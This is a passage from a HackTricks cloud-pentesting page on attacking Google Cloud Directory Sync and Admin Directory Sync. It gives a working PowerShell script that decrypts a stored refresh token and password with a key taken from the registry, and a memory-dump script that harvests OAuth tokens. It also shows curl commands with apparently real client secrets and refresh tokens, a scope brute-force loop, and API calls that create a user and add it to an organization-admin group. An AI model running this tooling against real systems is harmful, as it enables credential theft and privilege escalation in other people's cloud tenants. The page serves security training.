+ +Powershell script to decrypt the refresh token and the password + +```powershell +# Paths and key names +$xmlConfigPath = "C:\Users\c\Documents\conf.xml" +$regPath = "SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util" +$ivKeyName = "/Encryption/Policy/V2.iv" +$keyKeyName = "/Encryption/Policy/V2.key" + +# Open the registry key +try { + $regKey = [Microsoft.Win32.Registry]::CurrentUser.OpenSubKey($regPath) + if (-not $regKey) { + Throw "Registry key not found: HKCU\$regPath" + } +} +catch { + Write-Error "Failed to open registry key: $_" + exit +} + +# Get Base64-encoded IV and Key from the registry +try { + $ivBase64 = $regKey.GetValue($ivKeyName) + $ivBase64 = $ivBase64 -replace '/', '' + $ivBase64 = $ivBase64 -replace '\\', '/' + if (-not $ivBase64) { + Throw "IV not found in registry" + } + $keyBase64 = $regKey.GetValue($keyKeyName) + $keyBase64 = $keyBase64 -replace '/', '' + $keyBase64 = $keyBase64 -replace '\\', '/' + if (-not $keyBase64) { + Throw "Key not found in registry" + } +} +catch { + Write-Error "Failed to read registry values: $_" + exit +} +$regKey.Close() + + +# Decode Base64 IV and Key +$ivBytes = [Convert]::FromBase64String($ivBase64) +$keyBytes = [Convert]::FromBase64String($keyBase64) + +# Read XML content +$xmlContent = Get-Content -Path $xmlConfigPath -Raw + +# Extract Base64-encoded encrypted values using regex +$refreshTokenMatch = [regex]::Match($xmlContent, "(.*?)") +$refreshTokenBase64 = $refreshTokenMatch.Groups[1].Value + +$encryptedPasswordMatch = [regex]::Match($xmlContent, "(.*?)") +$encryptedPasswordBase64 = $encryptedPasswordMatch.Groups[1].Value + +# Decode encrypted values from Base64 +$refreshTokenEncryptedBytes = [Convert]::FromBase64String($refreshTokenBase64) +$encryptedPasswordBytes = [Convert]::FromBase64String($encryptedPasswordBase64) + +# Function to decrypt data using AES CBC +Function Decrypt-Data($cipherBytes, $keyBytes, $ivBytes) { + $aes = [System.Security.Cryptography.Aes]::Create() + $aes.Mode = [System.Security.Cryptography.CipherMode]::CBC + $aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7 + $aes.KeySize = 256 + $aes.BlockSize = 128 + $aes.Key = $keyBytes + $aes.IV = $ivBytes + + $decryptor = $aes.CreateDecryptor() + $memoryStream = New-Object System.IO.MemoryStream + $cryptoStream = New-Object System.Security.Cryptography.CryptoStream($memoryStream, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Write) + $cryptoStream.Write($cipherBytes, 0, $cipherBytes.Length) + $cryptoStream.FlushFinalBlock() + $plaintextBytes = $memoryStream.ToArray() + + $cryptoStream.Close() + $memoryStream.Close() + + return $plaintextBytes +} + +# Decrypt the values +$refreshTokenBytes = Decrypt-Data -cipherBytes $refreshTokenEncryptedBytes -keyBytes $keyBytes -ivBytes $ivBytes +$refreshToken = [System.Text.Encoding]::UTF8.GetString($refreshTokenBytes) + +$decryptedPasswordBytes = Decrypt-Data -cipherBytes $encryptedPasswordBytes -keyBytes $keyBytes -ivBytes $ivBytes +$decryptedPassword = [System.Text.Encoding]::UTF8.GetString($decryptedPasswordBytes) + +# Output the decrypted values +Write-Host "Decrypted Refresh Token: $refreshToken" +Write-Host "Decrypted Password: $decryptedPassword" +``` + +
+ +{% hint style="info" %} +Note that it's possible to check this information checking the java code of **`DirSync.jar`** from **`C:\Program Files\Google Cloud Directory Sync`** searching for the string `exportkeys` (as thats the cli param that the binary `upgrade-config.exe` expects to dump the keys). +{% endhint %} + +Instead of using the powershell script, it's also possible to use the binary **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** with the param `-exportKeys` and get the **Key** and **IV** from the registry in hex and then just use some cyberchef with AES/CBC and that key and IV to decrypt the info. + +### GCDS - Dumping tokens from memory + +Just like with GCPW, it's possible to dump the memory of the process of the `config-manager.exe` process (it's the name of the GCDS main binary with GUI) and you will be able to find refresh and access tokens (if they have been generated already).\ +I guess you could also find the AD configured credentials. + +
+ +Dump config-manager.exe processes and search tokens + +```powershell +# Define paths for Procdump and Strings utilities +$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe" +$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe" +$dumpFolder = "C:\Users\Public\dumps" + +# Regular expressions for tokens +$tokenRegexes = @( + "ya29\.[a-zA-Z0-9_\.\-]{50,}", + "1//[a-zA-Z0-9_\.\-]{50,}" +) + +# Show EULA if it wasn't accepted yet for strings +$stringsPath + +# Create a directory for the dumps if it doesn't exist +if (!(Test-Path $dumpFolder)) { + New-Item -Path $dumpFolder -ItemType Directory +} + +# Get all Chrome process IDs +$chromeProcesses = Get-Process -Name "config-manager" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id + +# Dump each Chrome process +foreach ($processId in $chromeProcesses) { + Write-Output "Dumping process with PID: $processId" + & $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp" +} + +# Extract strings and search for tokens in each dump +Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object { + $dumpFile = $_.FullName + $baseName = $_.BaseName + $asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt" + $unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt" + + Write-Output "Extracting strings from $dumpFile" + & $stringsPath -n 50 -nobanner $dumpFile > $asciiStringsFile + & $stringsPath -n 50 -nobanner -u $dumpFile > $unicodeStringsFile + + $outputFiles = @($asciiStringsFile, $unicodeStringsFile) + + foreach ($file in $outputFiles) { + foreach ($regex in $tokenRegexes) { + + $matches = Select-String -Path $file -Pattern $regex -AllMatches + + $uniqueMatches = @{} + + foreach ($matchInfo in $matches) { + foreach ($match in $matchInfo.Matches) { + $matchValue = $match.Value + if (-not $uniqueMatches.ContainsKey($matchValue)) { + $uniqueMatches[$matchValue] = @{ + LineNumber = $matchInfo.LineNumber + LineText = $matchInfo.Line.Trim() + FilePath = $matchInfo.Path + } + } + } + } + + foreach ($matchValue in $uniqueMatches.Keys) { + $info = $uniqueMatches[$matchValue] + Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)" + } + } + + Write-Output "" + } +} + +Remove-Item -Path $dumpFolder -Recurse -Force +``` + +
+ +### GCDS - Generating access tokens from refresh tokens + +Using the refresh token it's possible to generate access tokens using it and the client ID and client secret specified in the following command: + +```bash +curl -s --data "client_id=118556098869.apps.googleusercontent.com" \ + --data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \ + --data "grant_type=refresh_token" \ + --data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \ + https://www.googleapis.com/oauth2/v4/token +``` + +### GCDS - Scopes + +{% hint style="info" %} +Note that even having a refresh token, it's not possible to request any scope for the access token as you can only requests the **scopes supported by the application where you are generating the access token**. + +Also, the refresh token is not valid in every application. +{% endhint %} + +By default GCSD won't have access as the user to every possible OAuth scope, so using the following script we can find the scopes that can be used with the `refresh_token` to generate an `access_token`: + +
+ +Bash script to brute-force scopes + +```bash +curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do + echo -ne "Testing $scope \r" + if ! curl -s --data "client_id=118556098869.apps.googleusercontent.com" \ + --data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \ + --data "grant_type=refresh_token" \ + --data "refresh_token=1//03PR0VQOSCjS1CgYIARAAGAMSNwF-L9Ir5b_vOaCmnXzla0nL7dX7TJJwFcvrfgDPWI-j19Z4luLpYfLyv7miQyvgyXjGEXt-t0A" \ + --data "scope=$scope" \ + https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then + echo "" + echo $scope + echo $scope >> /tmp/valid_scopes.txt + fi +done + +echo "" +echo "" +echo "Valid scopes:" +cat /tmp/valid_scopes.txt +rm /tmp/valid_scopes.txt +``` + +
+ +And this is the output I got at the time of the writing: + +``` +https://www.googleapis.com/auth/admin.directory.group +https://www.googleapis.com/auth/admin.directory.orgunit +https://www.googleapis.com/auth/admin.directory.resource.calendar +https://www.googleapis.com/auth/admin.directory.user +https://www.googleapis.com/auth/admin.directory.userschema +https://www.googleapis.com/auth/apps.groups.settings +https://www.googleapis.com/auth/apps.licensing +https://www.googleapis.com/auth/contacts +``` + +#### Create a user and add it into the group `gcp-organization-admins` to try to escalate in GCP + +```bash +# Create new user +curl -X POST \ + 'https://admin.googleapis.com/admin/directory/v1/users' \ + -H 'Authorization: Bearer ' \ + -H 'Content-Type: application/json' \ + -d '{ + "primaryEmail": "deleteme@domain.com", + "name": { + "givenName": "Delete", + "familyName": "Me" + }, + "password": "P4ssw0rdStr0ng!", + "changePasswordAtNextLogin": false + }' + +# Add to group +curl -X POST \ + 'https://admin.googleapis.com/admin/directory/v1/groups/gcp-organization-admins@domain.com/members' \ + -H 'Authorization: Bearer ' \ + -H 'Content-Type: application/json' \ + -d '{ + "email": "deleteme@domain.com", + "role": "OWNER" + }' +``` + +{% hint style="danger" %} +It's not possible to give the new user the Super Amin role because the **refresh token doesn't have enough scopes** to give the required privileges. +{% endhint %} + +## Admin Directory Sync + +The main difference between this way to synchronize users with GCDS is that GCDS is done manually with some binaries you need to download and run while **Admin Directory Sync is serverless** managed by Google in [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories). + +At the moment of this writing this service is in beta and it supports 2 types of synchronization: From **Active Directory** and from **Azure Entra ID:** + +* **Active Directory:** In order to set this up you need to give **access to Google to you Active Directory environment**. And as Google only has access to GCP networks (via **VPC connectors**) you need to create a connector and then make your AD available from that connector by having it in VMs in the GCP network or using Cloud VPN or Cloud Interconnect. Then, you also need to provide **credentials** of an account with read access over the directory and **certificate** to contact via **LDAPS**. +* **Azure Entra ID:** To configure this it's just needed to **login in Azure with a user with read access** over the Entra ID subscription in a pop-up showed by Google, and Google will keep the token with read access over Entra ID. + +Once correctly configured, both options will allow to **synchronize users and groups to Workspace**, but it won't allow to configure users and groups from Workspace to AD or EntraID. + +Other options that it will allow during this synchronization are: + +* Send an email to the new users to log-in +* Automatically change their email address to the one used by Workspace. So if Workspace is using `@hacktricks.xyz` and EntraID users use `@carloshacktricks.onmicrosoft.com`, `@hacktricks.xyz` will be used for the users created in the account. +* Select the **groups containing the users** that will be synced. +* Select to **groups** to synchronize and create in Workspace (or indicate to synchronize all groups). + +### From AD/EntraID -> Google Workspace (& GCP) + +If you manage to compromise an AD or EntraID you will have total control of the users & groups that are going to be synchronized with Google Workspace.\ +However, notice that the **passwords** the users might be using in Workspace **could be the same ones or not**. + +#### Attacking users + +When the synchronization happens it might synchronize **all the users from AD or only the ones from a specific OU** or only the **users members of specific groups in EntraID**. This means that to attack a synchronized user (or create a new one that gets synchronized) you will need first to figure out which users are being synchronized. + +* Users might be **reusing the password or not from AD or EntraID**, but this mean that you will need to **compromise the passwords of the users to login**. +* If you have access to the **mails** of the users, you could **change the Workspace password of an existing user**, or **create a new user**, wait until it gets synchronized an setup the account. + +Once you access the user inside Workspace it might be given some **permissions by default**. + +#### Attacking Groups + +You also need to figure out first which groups are being synchronized. Although there is the possibility that **ALL** the groups are being synchronized (as Workspace allows this). + +{% hint style="info" %} +Note that even if the groups and memberships are imported into Workspace, the **users that aren't synchronized in the users sychronization won't be created** during groups synchronization even if they are members of any of the groups synchronized. +{% endhint %} + +If you know which groups from Azure are being **assigned permissions in Workspace or GCP**, you could just add a compromised user (or newly created) in that group and get those permissions. + +There is another option to abuse existing privileged groups in Workspace. For example, the group `gcp-organization-admins@` usually has high privileges over GCP. + +If the synchronization from, for example EntraID, to Workspace is **configured to replace the domain** of the imported object **with the email of Workspace**, it will be possible for an attacker to create the group `gcp-organization-admins@` in EntraID, add a user in this group, and wait until the synchronization of all the groups happen.\ +**The user will be added in the group `gcp-organization-admins@` escalating privileges in GCP.** + +### From Google Workspace -> AD/EntraID + +Note that Workspace require credentials with read only access over AD or EntraID to synchronize users and groups. Therefore, it's not possible to abuse Google Workspace to perform any change in AD or EntraID. So **this isn't possible** at this moment. + +I also don't know where does Google store the AD credentials or EntraID token and you **can't recover them re-configuring the synchronizarion** (they don't appear in the web form, you need to give them again). However, from the web it might be possible to abuse the current functionality to **list users and groups**. + +## References + +* [https://www.youtube.com/watch?v=FEQxHRRP\_5I](https://www.youtube.com/watch?v=FEQxHRRP\_5I) +* [https://issues.chromium.org/issues/40063291](https://issues.chromium.org/issues/40063291) + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Support HackTricks + +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
+{% endhint %}